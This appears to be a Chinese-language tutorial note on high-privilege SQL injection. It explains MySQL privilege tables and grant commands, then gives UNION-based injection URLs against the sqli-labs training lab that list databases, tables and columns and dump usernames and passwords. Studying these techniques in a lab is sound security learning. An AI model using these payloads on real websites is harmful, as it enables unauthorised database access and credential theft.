SQL注入之高权限注入(三)
在数据库中区分数据库系统用户和数据库普通用户
MySQL中存在控制权限的表,分别为user,db,tables_priv,columns.priv表
User表:
存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
Db表:
存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
Tables_priv表:
存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
Columns_priv表:
存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
Procs_priv表:
存放存储过程和函数级别的权限
查看MySQL有哪些用户
select user,host from mysql.user;
查看用户对应权限
select * from user where user='root' and host='localhost'\G; #所有权限都是Y ,就是什么权限都有
创建用户
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
create user 'test1'@'localhost' identified by '123456';
identified by '123456';设置密码
把普通用户变成管理员
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;
删除用户
drop user finley@'localhost';
只提供id查询权限
grant select(id) on test.temp to test1@'localhost' identified by '123456';
grant select(id) on test.users to test1@'localhost' identified by '123456'
在 MySQL 数据库中为用户 'test1'@'localhost' 授予对表 temp 中 id 列的 SELECT 权限, 同时为用户设置密码 '123456'
select * from users; 会报错
select id from users;不会报错
当前用户必须是root,高权限,不然不能跨库查询
查看当前服务器网络的所有数据库: schema_name,schemata
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
查看数据库test中,有哪些表,
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'
查看表中的字段名
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users';
查看数据
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,'~',password) from users
http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(name,'~',pass) from test.users